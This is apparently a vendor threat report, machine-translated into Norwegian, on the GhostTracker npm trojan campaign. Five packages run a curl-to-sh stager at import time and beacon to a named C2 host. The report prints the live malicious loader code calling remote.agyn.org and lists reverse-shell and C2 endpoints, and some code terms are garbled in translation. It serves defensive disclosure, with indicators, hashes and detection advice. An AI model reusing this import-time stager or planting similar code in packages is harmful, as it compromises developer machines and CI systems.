GhostTracker: npm Trojan omdøpt på 74 minutter – samme C2

GhostTracker: en npm-trojaner som fikk nytt navn innen timer etter nedleggelse – og beholdt samme C2

TL; DR

En enkelt npm-operator publisert fem trojaneriserte pakker over to runder på tre dager. Pakkene utgir seg for å være bittesmå terminalfarge-, logger- og Postgres-klientverktøy. Den ondsinnede koden kjører øyeblikket pakken importeres — det finnes ikke noe installasjonsskript å fange opp.

Runde én (neon-terminal, neon-postgres, ne-logger) ble avpublisert 2026-07-05 kl. 14:14 UTC. Syttifire minutter senere Den samme kontoen publiserte den samme trojaneren på nytt under nye navn (agn-terminal, agn-logger) — og pekte den mot samme kommando-og-kontroll-endepunkt den hadde brukt før: tracker.bvgroup.co.

Den C2-verten er den ene indikatoren som overlever omdøpningen, og det raskeste en forsvarer kan søke etter. Alvorlighetsgrad: høyØkosystem: NPMAndre runde-pakkene var fortsatt tilgjengelige i skrivende stund.

Angrepet: hvordan det fungerer

Pakkene er funksjonelle lokkefugler. Åpne agn-terminal og du finner en komplett, fungerende ANSI-fargehjelper – koder, støtterFarge, fargelegge, maling — med typer og en README-fil. Verktøykoden fungerer. Festet til toppen av inngangsmodulen, over den nyttige koden, ligger noen linjer som kjører ved import.

// agn-terminal 0.1.0 — src/index.js (top of module)
import { exec } from "node:child_process";

const child = exec(
  "curl -fsSL https://remote.agyn.org/remote.sh | " +
  "TRACKER_REMOTE_ENDPOINT='https://tracker.bvgroup.co/remote/…' sh",
  {}, (error, stdout, stderr) => {},
);

Tre ting gjør dette effektivt.

  • Den utløses ved import, ikke ved installasjon. Pakken erklærer nei forhåndsinstallering or etterinstallasjon krok – det vanlige stedet skannere og anmeldere ser etter. exec kallet er kode på modulnivå. Det kjører første gang noe skjer. krever("agn-terminal") or importer «agn-terminal», på utviklerens maskin eller inne i CI. Både ESM-oppføringen (src/index.js) og CommonJS-oppføringen (cjs/src/index.js) har identisk nyttelast, slik at begge modulsystemene er dekket.
  • Den virkelige nyttelasten lever utenfor pakken. Pakken sender bare en én-linjes stager: fetch remote.agyn.org/remote.sh` og skriv det i pipe-format til sh`. Det som kjører operatoren viser fra den URL-en på forespørselstidspunktet. C2-endepunktet sendes til det nedlastede skriptet via TRACKER_REMOTE_ENDPOINT miljøvariabel, så trinn to-skriptet ringer hjem til tracker.bvgroup.co.
  • En bærepakke utvider eksplosjonsradiusen. agn-logger er en annen lokkefugl – en «liten global logger». Den har ingen egen nyttelast. Inngangsmodulen gjør én relevant ting:
// agn-logger 0.1.0 — cjs/src/index.js
const { colorize, supportsColor } = require('agn-terminal');

Den erklærer agn-terminal som en avhengighet og importerer den. Installasjon eller import av loggeren henter inn og utløser terminalpakken transitivt. Et prosjekt som aldri navngir trojaneren direkte, kan fortsatt kjøre den gjennom loggeren.

Hva er nytt her

Den første runden brukte ikke en ekstern stager. Den sendte nyttelasten innebygd og eskalerte den versjon for versjon – et bash reverse shell i én utgivelse, en net.Socket omvendt skall i det neste, en git legg til/commit/trykk av offerets arbeidskatalog i en annen, og til slutt en full HTTP-kommando-og-kontrollagent i neon-terminal 0.9.0 som registrerte verten, spurte etter oppgaver, kjørte dem med utføre (), og strømmet base64-kodet utdata tilbake. Den andre runden samler alt dette i én enkelt krøll | sh, og fjerner trinn to helt fra registeret. Samme operatør, stillere pakke, mer fleksibel nyttelast – og, kritisk nok, samme C2 som før.

Tidslinje

Dato (UTC)Event
2026-07-03 07:03Runde én publisert: neon-terminal (0.1.0 ren, deretter 0.2.0–0.9.0 skadelig), neon-postgres 3.5.2, ne-logger 0.7.0
2026-07-03 07:05neon-terminal flagget i sanntidsskanning
2026-07-04Bekreftet skadelig; korrelasjon avdekker de to søsterpakkene; første forsøk på fjerning registrert
2026-07-05 14:14Runde én upublisert – alle åtte neon-terminal versjoner pluss søsken fjernet
2026-07-05 15:28agn-terminal 0.1.0 publisert
2026-07-05 15:29agn-logger 0.1.0 publisert — leverandør for den nye terminalpakken
2026-07-05 (pågående)Pakker for runde to er tilgjengelige i skrivende stund

De to rundene foregår med tre dagers mellomrom, og gapet mellom fjerning og relansering var 74 minutter. Kampanjen er åpen: agn-* Pakkene var ikke fjernet da dette ble skrevet.

Indikatorer for kompromiss

Søk i låsefiler og avhengighetstrær etter pakkenavn. Søk i proxy, DNS og EDR logger for nettverkets endepunkter. C2-verten tracker.bvgroup.co strekker seg over begge rundene og er den enkeltindikatoren med høyest verdi.

Nettsidepakker

PakkeversjonerRollestatus
neon-terminal0.2.0–0.9.0trojaner (innebygde nyttelaster → HTTP C2)upublisert
neon-postgres3.5.2trojaner (nyttelast i src/errors.js)upublisert
ne-logger0.7.0transportør (avhenger av neon-terminal)upublisert
agn-terminal0.1.0trojaner (curl | sh oppsetningsfører)leve
agn-logger0.1.0transportør (avhenger av agn-terminal)leve

neon-terminal 0.1.0 var et rent seed – et fungerende fargebibliotek uten nyttelast – publisert for å etablere pakken før de skadelige versjonene fulgte.

Network

IndikatorKontekst
tracker.bvgroup.co/remote/…HTTP C2, begge runder (token for runde to t42xNzaT2SnXbS_PsZ3gKDY-keTufZ2J)
remote.agyn.org/remote.shrunde to trinn én laster
reverse.bvgroup.co:443runde én omvendt skall-endepunkt (neon-terminal 0.6.0)
6.tcp.eu.ngrok.io:28754runde én omvendt skall (neon-terminal 0.3.0)
2.tcp.eu.ngrok.io:25852runde én omvendt skall (neon-terminal 0.4.0)
bvgroup.co, agyn.org, agyn.iooperatørkontrollerte domener

Behavioral

  • Modulnivå child_process.exec øverst i en verktøypakkes oppføringsfil, i begge src/index.js (ESM) og cjs/src/index.js (CJS).
  • A krøll -fsSL … | sh enlinjer med C2 sendt via en TRACKER_REMOTE_ENDPOINT miljøvariabel.
  • En andre «verktøypakke» som deklarerer den første som en avhengighet og importerer den, uten egen nyttelast.
  • En rest // neon-terminal kommentar øverst på agn-terminal — en kopier-lim-inn-artefakt som knytter rebrandingen til originalen.

Fil-hasher (SHA-256, runde to)

  • agn-terminal src/index.js - 6d464cedf64f3a26fb8f5e61ee5730fe42be4135aa87429aeb514c4f97209bc7
  • agn-terminal cjs/src/index.js - b85e80056a7607c49add12c1626881392a28e7d0e146e49a856d84725cfb46ac
  • agn-logger src/index.js - 667a858c749d058d4546654cdda59e963a1a0cba97900feeb96753c2d768ff19

Attribusjon og observert atferd

Hver pakke spores til én npm-konto, vitalii-agyn, publisering under den ubekreftede e-postadressen vitalii@agyn.ioKontoens egne registermetadata viser alle tre runde én-pakkene slik de vedlikeholdes av den. Infrastrukturen knytter rundene sammen: domenet agyn.org samsvarer med forlagets agyn.io e-postdomenet og C2-verten tracker.bvgroup.co vises i begge neon-terminal 0.9.0 og agn-terminal 0.1.0 — samme samlersti, gjenbrukt ordrett etter nytt navn.

Vi beskriver hva gjenstandene viser og stopper der. Utgiverens oppgitte e-postadresse er vitalii@agyn.ioVi har ikke bekreftet eierskapet til den adressen, og vi tilskriver ikke kontoen til noen navngitt person eller gruppe. Gjenbruk av ett C2-endepunkt på tvers av to pakkefamilier er et sterkt signal om samme operatør, ikke en identitet.

De første pakkene lente seg på merkevaretilhørighet. neon-postgreen var en full klon av Porsagers mye brukte postgres.js klient, slagord og alt, med nyttelasten gjemt i src/feil.js så en rutinemessig importsti ville nå den – og neon- prefikset låner gjenkjenneligheten til Neon, den serverløse Postgres-leverandøren. Navnene i runde to droppet personifiseringen og gikk over til generiske navn (agn-terminal, agn-logger), bytter merkevaretrekk for et renere avbrekk fra de brente navnene.

 Innvirkning, trender og veiledning fra forsvarere

  • Hvem som er eksponert. Alle som installerer og importerer en av disse pakkene, direkte eller gjennom leverandøren, på en Unix-lignende vert. Stageren bruker curl og sh; runde-en-skjellene bruker bash og /dev/tcpFordi kjøring skjer ved import, er det nok med en byggeserver som installerer avhengigheten og kjører all kode som berører den – ingen etterinstallasjonstrinn kreves. På en utviklerarbeidsstasjon eller CI-kjører kjører det nedlastede trinn to med brukerens rettigheter og full nettverksrekkevidde.
  • Hvorfor utførelse på importtidspunktet er viktig. Forsvar i forsyningskjeden har konsentrert seg om installasjonsskript, og med god grunn – postinstall er det klassiske fotfestet for npm. Denne kampanjen omgår det fullstendig. Det finnes ingen installasjonshook å flagge. ondsinnet kode er vanlig modulinitialisering, ikke skillebar ved første øyekast fra en pakke som beregner en oppslagstabell ved lasting. Verktøy som bare inspiserer skript i package.json ser ingenting.
  • Trenden med rebranding og gjenbruk. Den 74 minutter lange behandlingstiden er historien. Takedown fjernet navnene, men ikke operatøren, infrastrukturen eller koden. Innen en time var kampanjen live igjen under nye navn som pekte mot samme C2. Navnebasert blokkering – denylisting neon-terminal – ville allerede ha vært foreldet. Infrastrukturbasert blokkering – denylisting bvgroup.co – ville ha fanget opp runde to ved ankomst. For en live operatør som publiserer på nytt raskere enn registre fjerner, er den varige indikatoren nettverksendepunktet, ikke pakkenavnet.

Hva å gjøre nå

  • Grep-låsefiler og installerte trær for alle de fem pakkenavnene ovenfor. Behandle alle treff som en kompromittert vert og roter påloggingsinformasjon som er tilgjengelig fra den.
  • Blokker og varsle på domenene bvgroup.co, agyn.org, og ngrok-endepunktene i DNS- og utgående filtrering. tracker.bvgroup.co er prioriteten.
  • Ikke stol bare på skanning med installasjonshook. Legg til deteksjon for modulnivå barneprosess og nettverkskall i avhengigheter, og for krøll … | sh mønstre i pakkekilden.
  • Behandle en verktøypakke som deklarerer et annet obskurt verktøy som sin eneste avhengighet, og importerer det ved lasting, som verdt en ny titt.
  • I CI, foretrekk –Ignorer-skript der det er praktisk, men forstå at det ikke hjelper her – nyttelasten kjører ved import, så utgangskontroller ved kjøring og avhengighetsgjennomgang er viktigere.

Referanser

sca-tools-programvare-verktøy for komposisjonsanalyse
Prioriter, utbedre og sikre programvarerisikoene dine
Få din gratis konto.
Ingen kredittkort kreves.

Sikre programvareutviklingen og -leveringen din

med Xygeni-produktpakken